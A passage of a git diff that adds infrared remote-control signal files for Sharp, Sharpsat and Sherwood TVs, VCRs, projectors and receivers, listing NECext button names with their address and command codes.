00 00 +command: 0A 00 00 00 +# +name: KEY_CHANNELUP +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 11 00 00 00 +# +name: KEY_CHANNELDOWN +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 12 00 00 00 +# +name: TV/VIDEO +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 13 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 14 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 15 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 16 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 17 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 19 00 00 00 +# +name: off_timer +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 1A 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 1B 00 00 00 +# +name: TXT_TIME +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 1C 00 00 00 +# +name: SWITCH +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 27 00 00 00 +# +name: TXT_OFF +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 32 00 00 00 +# +name: TXT_HOLD +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 33 00 00 00 +# +name: TXT_ON +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 34 00 00 00 +# +name: TXT_CANCEL +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 35 00 00 00 +# +name: TXT_SIZE +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 37 00 00 00 +# +name: TXT_REVEAL +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 38 00 00 00 +# +name: KEY_102ND +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 3C 00 00 00 +# +name: P/C +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 3D 00 00 00 +# +name: PROGRAM +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 41 00 00 00 +# +name: KEY_RED +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 48 00 00 00 +# +name: KEY_GREEN +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 49 00 00 00 +# +name: KEY_YELLOW +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 4A 00 00 00 +# +name: KEY_BLUE +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 4B 00 00 00 +# +name: TXT_INDEX +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 4C 00 00 00 +# +name: KEY_MODE +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 4D 00 00 00 +# +name: sig_up +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 4F 00 00 00 +# +name: sig_down +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 50 00 00 00 +# +name: FUNCTIONS +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 5F 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Sharp/Unknown_GJ210/0,189.ir b/assets/resources/infrared/_CSV-IRDB_/Sharp/Unknown_GJ210/0,189.ir new file mode 100644 index 000000000..d824fa381 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Sharp/Unknown_GJ210/0,189.ir @@ -0,0 +1,308 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 00 BD 00 00 +command: 01 00 00 00 +# +name: KEY_INFO +type: parsed +protocol: NECext +address: 00 BD 00 00 +command: 02 00 00 00 +# +name: KEY_VIDEO +type: parsed +protocol: NECext +address: 00 BD 00 00 +command: 03 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 00 BD 00 00 +command: 04 00 00 00 +# +name: KEY_VIDEO +type: parsed +protocol: NECext +address: 00 BD 00 00 +command: 05 00 00 00 +# +name: hdmi +type: parsed +protocol: NECext +address: 00 BD 00 00 +command: 06 00 00 00 +# +name: input +type: parsed +protocol: NECext +address: 00 BD 00 00 +command: 08 00 00 00 +# +name: KEY_AUDIO +type: parsed +protocol: NECext +address: 00 BD 00 00 +command: 09 00 00 00 +# +name: KEY_MENU +type: parsed +protocol: NECext +address: 00 BD 00 00 +command: 0A 00 00 00 +# +name: KEY_UP +type: parsed +protocol: NECext +address: 00 BD 00 00 +command: 0B 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 00 BD 00 00 +command: 0C 00 00 00 +# +name: KEY_OK +type: parsed +protocol: NECext +address: 00 BD 00 00 +command: 0D 00 00 00 +# +name: freeze +type: parsed +protocol: NECext +address: 00 BD 00 00 +command: 0E 00 00 00 +# +name: KEY_DOWN +type: parsed +protocol: NECext +address: 00 BD 00 00 +command: 0F 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 00 BD 00 00 +command: 10 00 00 00 +# +name: blank +type: parsed +protocol: NECext +address: 00 BD 00 00 +command: 12 00 00 00 +# +name: KEY_SLEEP +type: parsed +protocol: NECext +address: 00 BD 00 00 +command: 13 00 00 00 +# +name: aspect +type: parsed +protocol: NECext +address: 00 BD 00 00 +command: 14 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 00 BD 00 00 +command: 15 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 00 BD 00 00 +command: 16 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 00 BD 00 00 +command: 17 00 00 00 +# +name: KEY_CHANNELUP +type: parsed +protocol: NECext +address: 00 BD 00 00 +command: 18 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 00 BD 00 00 +command: 19 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 00 BD 00 00 +command: 1A 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 00 BD 00 00 +command: 1B 00 00 00 +# +name: KEY_CHANNELDOWN +type: parsed +protocol: NECext +address: 00 BD 00 00 +command: 1C 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 00 BD 00 00 +command: 1D 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 00 BD 00 00 +command: 1E 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 00 BD 00 00 +command: 1F 00 00 00 +# +name: dual +type: parsed +protocol: NECext +address: 00 BD 00 00 +command: 40 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 00 BD 00 00 +command: 41 00 00 00 +# +name: prepr +type: parsed +protocol: NECext +address: 00 BD 00 00 +command: 44 00 00 00 +# +name: KEY_PC +type: parsed +protocol: NECext +address: 00 BD 00 00 +command: 45 00 00 00 +# +name: ypbpr +type: parsed +protocol: NECext +address: 00 BD 00 00 +command: 47 00 00 00 +# +name: KEY_LEFT +type: parsed +protocol: NECext +address: 00 BD 00 00 +command: 49 00 00 00 +# +name: KEY_RIGHT +type: parsed +protocol: NECext +address: 00 BD 00 00 +command: 4A 00 00 00 +# +name: KEY_SUBTITLE +type: parsed +protocol: NECext +address: 00 BD 00 00 +command: 4B 00 00 00 +# +name: KEY_RED +type: parsed +protocol: NECext +address: 00 BD 00 00 +command: 4C 00 00 00 +# +name: KEY_GREEN +type: parsed +protocol: NECext +address: 00 BD 00 00 +command: 4D 00 00 00 +# +name: KEY_YELLOW +type: parsed +protocol: NECext +address: 00 BD 00 00 +command: 4E 00 00 00 +# +name: KEY_BLUE +type: parsed +protocol: NECext +address: 00 BD 00 00 +command: 4F 00 00 00 +# +name: KEY_TEXT +type: parsed +protocol: NECext +address: 00 BD 00 00 +command: 50 00 00 00 +# +name: mix +type: parsed +protocol: NECext +address: 00 BD 00 00 +command: 51 00 00 00 +# +name: size +type: parsed +protocol: NECext +address: 00 BD 00 00 +command: 52 00 00 00 +# +name: index +type: parsed +protocol: NECext +address: 00 BD 00 00 +command: 54 00 00 00 +# +name: KEY_SUBTITLE +type: parsed +protocol: NECext +address: 00 BD 00 00 +command: 55 00 00 00 +# +name: hold +type: parsed +protocol: NECext +address: 00 BD 00 00 +command: 56 00 00 00 +# +name: reveal +type: parsed +protocol: NECext +address: 00 BD 00 00 +command: 57 00 00 00 +# +name: KEY_EPG +type: parsed +protocol: NECext +address: 00 BD 00 00 +command: 58 00 00 00 +# +name: prlist +type: parsed +protocol: NECext +address: 00 BD 00 00 +command: 5A 00 00 00 +# +name: eco +type: parsed +protocol: NECext +address: 00 BD 00 00 +command: 5B 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Sharp/Unknown_RRMCGA030WJSA/8,48.ir b/assets/resources/infrared/_CSV-IRDB_/Sharp/Unknown_RRMCGA030WJSA/8,48.ir new file mode 100644 index 000000000..65c5344d5 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Sharp/Unknown_RRMCGA030WJSA/8,48.ir @@ -0,0 +1,254 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 08 30 00 00 +command: 41 00 00 00 +# +name: KEY_EPG +type: parsed +protocol: NECext +address: 08 30 00 00 +command: 43 00 00 00 +# +name: KEY_SETUP +type: parsed +protocol: NECext +address: 08 30 00 00 +command: 19 00 00 00 +# +name: KEY_OPEN +type: parsed +protocol: NECext +address: 08 30 00 00 +command: 42 00 00 00 +# +name: dimmer +type: parsed +protocol: NECext +address: 08 30 00 00 +command: 4A 00 00 00 +# +name: black_level +type: parsed +protocol: NECext +address: 08 30 00 00 +command: 77 00 00 00 +# +name: KEY_MODE +type: parsed +protocol: NECext +address: 08 30 00 00 +command: 1E 00 00 00 +# +name: marker +type: parsed +protocol: NECext +address: 08 30 00 00 +command: 3A 00 00 00 +# +name: KEY_ZOOM +type: parsed +protocol: NECext +address: 08 30 00 00 +command: 78 00 00 00 +# +name: KEY_SUBTITLE +type: parsed +protocol: NECext +address: 08 30 00 00 +command: 3B 00 00 00 +# +name: KEY_ANGLE +type: parsed +protocol: NECext +address: 08 30 00 00 +command: 39 00 00 00 +# +name: KEY_AUDIO +type: parsed +protocol: NECext +address: 08 30 00 00 +command: 3C 00 00 00 +# +name: KEY_TITLE +type: parsed +protocol: NECext +address: 08 30 00 00 +command: 38 00 00 00 +# +name: KEY_MENU +type: parsed +protocol: NECext +address: 08 30 00 00 +command: 1B 00 00 00 +# +name: KEY_OK +type: parsed +protocol: NECext +address: 08 30 00 00 +command: 1D 00 00 00 +# +name: KEY_ENTER +type: parsed +protocol: NECext +address: 08 30 00 00 +command: 1C 00 00 00 +# +name: KEY_UP +type: parsed +protocol: NECext +address: 08 30 00 00 +command: 20 00 00 00 +# +name: KEY_DOWN +type: parsed +protocol: NECext +address: 08 30 00 00 +command: 21 00 00 00 +# +name: KEY_LEFT +type: parsed +protocol: NECext +address: 08 30 00 00 +command: 22 00 00 00 +# +name: KEY_RIGHT +type: parsed +protocol: NECext +address: 08 30 00 00 +command: 23 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 08 30 00 00 +command: 01 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 08 30 00 00 +command: 02 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 08 30 00 00 +command: 03 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 08 30 00 00 +command: 04 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 08 30 00 00 +command: 05 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 08 30 00 00 +command: 06 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 08 30 00 00 +command: 07 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 08 30 00 00 +command: 08 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 08 30 00 00 +command: 09 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 08 30 00 00 +command: 0A 00 00 00 +# +name: KEY_C +type: parsed +protocol: NECext +address: 08 30 00 00 +command: 1F 00 00 00 +# +name: KEY_10CHANNELSUP +type: parsed +protocol: NECext +address: 08 30 00 00 +command: 7E 00 00 00 +# +name: KEY_AGAIN +type: parsed +protocol: NECext +address: 08 30 00 00 +command: 35 00 00 00 +# +name: abrepeat +type: parsed +protocol: NECext +address: 08 30 00 00 +command: 36 00 00 00 +# +name: KEY_NEXT +type: parsed +protocol: NECext +address: 08 30 00 00 +command: 2E 00 00 00 +# +name: KEY_PREVIOUS +type: parsed +protocol: NECext +address: 08 30 00 00 +command: 2D 00 00 00 +# +name: KEY_REWIND +type: parsed +protocol: NECext +address: 08 30 00 00 +command: 2F 00 00 00 +# +name: fwd_big +type: parsed +protocol: NECext +address: 08 30 00 00 +command: 30 00 00 00 +# +name: KEY_PLAY +type: parsed +protocol: NECext +address: 08 30 00 00 +command: 26 00 00 00 +# +name: direct_skip +type: parsed +protocol: NECext +address: 08 30 00 00 +command: 7C 00 00 00 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: 08 30 00 00 +command: 27 00 00 00 +# +name: KEY_PAUSE +type: parsed +protocol: NECext +address: 08 30 00 00 +command: 2A 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Sharp/Unknown_SHARP/1,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Sharp/Unknown_SHARP/1,-1.ir new file mode 100644 index 000000000..8e5eee6bc --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Sharp/Unknown_SHARP/1,-1.ir @@ -0,0 +1,152 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 01 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 02 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 03 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 04 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 05 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 06 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 07 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 08 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 09 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 0A 00 00 00 +# +name: KEY_CHANNELUP +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 11 00 00 00 +# +name: KEY_CHANNELDOWN +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 12 00 00 00 +# +name: KEY_VIDEO +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 13 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 14 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 15 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 16 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 17 00 00 00 +# +name: CHILD_LOCK +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 1B 00 00 00 +# +name: KEY_TEXT +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 34 00 00 00 +# +name: KEY_102ND +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 3C 00 00 00 +# +name: KEY_RED +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 48 00 00 00 +# +name: KEY_GREEN +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 49 00 00 00 +# +name: KEY_YELLOW +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 4A 00 00 00 +# +name: KEY_BLUE +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 4B 00 00 00 +# +name: KEY_MODE +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 4D 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Sharp/Unknown_sharp1781/1,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Sharp/Unknown_sharp1781/1,-1.ir new file mode 100644 index 000000000..7feaed8d7 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Sharp/Unknown_sharp1781/1,-1.ir @@ -0,0 +1,146 @@ +Filetype: IR signals file +Version: 1 +# +name: b1 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 01 00 00 00 +# +name: b2 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 02 00 00 00 +# +name: b3 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 03 00 00 00 +# +name: b4 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 04 00 00 00 +# +name: b5 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 05 00 00 00 +# +name: b6 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 06 00 00 00 +# +name: b7 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 07 00 00 00 +# +name: b8 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 08 00 00 00 +# +name: b9 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 09 00 00 00 +# +name: b0 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 0A 00 00 00 +# +name: KEY_CHANNELUP +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 11 00 00 00 +# +name: KEY_CHANNELDOWN +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 12 00 00 00 +# +name: av +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 13 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 14 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 15 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 16 00 00 00 +# +name: sound_off +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 17 00 00 00 +# +name: stereo +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 18 00 00 00 +# +name: txt_off +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 32 00 00 00 +# +name: txt_size +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 33 00 00 00 +# +name: txt_on +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 34 00 00 00 +# +name: big_prog +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 3C 00 00 00 +# +name: c_p +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 3D 00 00 00 +# +name: txt_100 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 52 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Sharp/VCR/3,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Sharp/VCR/3,-1.ir new file mode 100644 index 000000000..23f08497d --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Sharp/VCR/3,-1.ir @@ -0,0 +1,194 @@ +Filetype: IR signals file +Version: 1 +# +name: 1 +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 01 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 02 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 03 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 04 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 05 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 06 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 07 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 08 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 09 00 00 00 +# +name: 0 +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 0A 00 00 00 +# +name: REC_STANDBY +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 0E 00 00 00 +# +name: TV/VCR +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 13 00 00 00 +# +name: POWER +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 16 00 00 00 +# +name: CALL +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 1C 00 00 00 +# +name: PROGRAM +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 1D 00 00 00 +# +name: SP/LP/EP +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 1F 00 00 00 +# +name: FAST_FORWARD_>> +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 21 00 00 00 +# +name: SCAN_>> +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 21 00 00 00 +# +name: PLAY +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 22 00 00 00 +# +name: REWIND_<< +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 23 00 00 00 +# +name: SCAN_<< +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 23 00 00 00 +# +name: FRAME_ADVANCE +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 24 00 00 00 +# +name: PAUSE +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 25 00 00 00 +# +name: STOP +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 27 00 00 00 +# +name: RECORD +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 28 00 00 00 +# +name: SLOW_MOTION_+ +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 2F 00 00 00 +# +name: SLOW_MOTION_- +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 30 00 00 00 +# +name: X2 +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 31 00 00 00 +# +name: ZERO_BACK +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 83 00 00 00 +# +name: CANCEL +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 84 00 00 00 +# +name: DISPLAY +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 8C 00 00 00 +# +name: ON_SCREEN +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 8D 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Sharp/Video Projector/13,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Sharp/Video Projector/13,-1.ir new file mode 100644 index 000000000..cf28b790b --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Sharp/Video Projector/13,-1.ir @@ -0,0 +1,62 @@ +Filetype: IR signals file +Version: 1 +# +name: INPUT_SELECT +type: parsed +protocol: NECext +address: 0D 00 00 00 +command: 13 00 00 00 +# +name: VOLUME_+ +type: parsed +protocol: NECext +address: 0D 00 00 00 +command: 14 00 00 00 +# +name: VOLUME_- +type: parsed +protocol: NECext +address: 0D 00 00 00 +command: 15 00 00 00 +# +name: POWER +type: parsed +protocol: NECext +address: 0D 00 00 00 +command: 16 00 00 00 +# +name: MUTE +type: parsed +protocol: NECext +address: 0D 00 00 00 +command: 17 00 00 00 +# +name: STATUS +type: parsed +protocol: NECext +address: 0D 00 00 00 +command: 39 00 00 00 +# +name: ENTER +type: parsed +protocol: NECext +address: 0D 00 00 00 +command: 57 00 00 00 +# +name: ADJUSTMENT_+ +type: parsed +protocol: NECext +address: 0D 00 00 00 +command: 9C 00 00 00 +# +name: ADJUSTMENT_- +type: parsed +protocol: NECext +address: 0D 00 00 00 +command: 9D 00 00 00 +# +name: MENU +type: parsed +protocol: NECext +address: 0D 00 00 00 +command: C4 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Sharpsat/Unknown_T28/128,38.ir b/assets/resources/infrared/_CSV-IRDB_/Sharpsat/Unknown_T28/128,38.ir new file mode 100644 index 000000000..29adeae33 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Sharpsat/Unknown_T28/128,38.ir @@ -0,0 +1,134 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_CHANNELUP +type: parsed +protocol: NECext +address: 80 26 00 00 +command: 01 00 00 00 +# +name: KEY_CHANNELDOWN +type: parsed +protocol: NECext +address: 80 26 00 00 +command: 02 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 80 26 00 00 +command: 07 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 80 26 00 00 +command: 08 00 00 00 +# +name: VH +type: parsed +protocol: NECext +address: 80 26 00 00 +command: 0A 00 00 00 +# +name: Mem +type: parsed +protocol: NECext +address: 80 26 00 00 +command: 0B 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 80 26 00 00 +command: 0C 00 00 00 +# +name: Set +type: parsed +protocol: NECext +address: 80 26 00 00 +command: 0D 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 80 26 00 00 +command: 0F 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 80 26 00 00 +command: 11 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 80 26 00 00 +command: 12 00 00 00 +# +name: KEY_AUDIO +type: parsed +protocol: NECext +address: 80 26 00 00 +command: 14 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 80 26 00 00 +command: 15 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 80 26 00 00 +command: 16 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 80 26 00 00 +command: 17 00 00 00 +# +name: PL +type: parsed +protocol: NECext +address: 80 26 00 00 +command: 18 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 80 26 00 00 +command: 19 00 00 00 +# +name: DON +type: parsed +protocol: NECext +address: 80 26 00 00 +command: 1A 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 80 26 00 00 +command: 1B 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 80 26 00 00 +command: 1D 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 80 26 00 00 +command: 1E 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 80 26 00 00 +command: 1F 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Sherwood/Receiver/131,69.ir b/assets/resources/infrared/_CSV-IRDB_/Sherwood/Receiver/131,69.ir new file mode 100644 index 000000000..d8bace1f8 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Sherwood/Receiver/131,69.ir @@ -0,0 +1,80 @@ +Filetype: IR signals file +Version: 1 +# +name: +type: parsed +protocol: NECext +address: 83 45 00 00 +command: 74 00 00 00 +# +name: SURR_MODE:_HALL +type: parsed +protocol: NECext +address: 83 45 00 00 +command: 75 00 00 00 +# +name: SURR_MODE:_STADIUM +type: parsed +protocol: NECext +address: 83 45 00 00 +command: 76 00 00 00 +# +name: SURR_MODE:_CHURCH +type: parsed +protocol: NECext +address: 83 45 00 00 +command: 77 00 00 00 +# +name: OPTICAL_1 +type: parsed +protocol: NECext +address: 83 45 00 00 +command: 79 00 00 00 +# +name: ANALOG +type: parsed +protocol: NECext +address: 83 45 00 00 +command: 7B 00 00 00 +# +name: SURR_MODE:_TRUE_SURR +type: parsed +protocol: NECext +address: 83 45 00 00 +command: 7C 00 00 00 +# +name: DIGITAL_INPUT +type: parsed +protocol: NECext +address: 83 45 00 00 +command: E1 00 00 00 +# +name: VIDEO_1 +type: parsed +protocol: NECext +address: 83 45 00 00 +command: E3 00 00 00 +# +name: VIDEO_2 +type: parsed +protocol: NECext +address: 83 45 00 00 +command: E4 00 00 00 +# +name: VIDEO_3 +type: parsed +protocol: NECext +address: 83 45 00 00 +command: E5 00 00 00 +# +name: VIDEO_4 +type: parsed +protocol: NECext +address: 83 45 00 00 +command: E6 00 00 00 +# +name: VIDEO_5 +type: parsed +protocol: NECext +address: 83 45 00 00 +command: E7 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Sherwood/Unknown_GC-1285/129,114.ir b/assets/resources/infrared/_CSV-IRDB_/Sherwood/Unknown_GC-1285/129,114.ir new file mode 100644 index 000000000..a3f43a2c0 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Sherwood/Unknown_GC-1285/129,114.ir @@ -0,0 +1,218 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 81 72 00 00 +command: 00 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 81 72 00 00 +command: 04 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 81 72 00 00 +command: 05 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 81 72 00 00 +command: 06 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 81 72 00 00 +command: 07 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 81 72 00 00 +command: 08 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 81 72 00 00 +command: 09 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 81 72 00 00 +command: 0A 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 81 72 00 00 +command: 0B 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 81 72 00 00 +command: 0C 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 81 72 00 00 +command: 0D 00 00 00 +# +name: KEY_RECORD +type: parsed +protocol: NECext +address: 81 72 00 00 +command: 10 00 00 00 +# +name: KEY_PLAY +type: parsed +protocol: NECext +address: 81 72 00 00 +command: 11 00 00 00 +# +name: 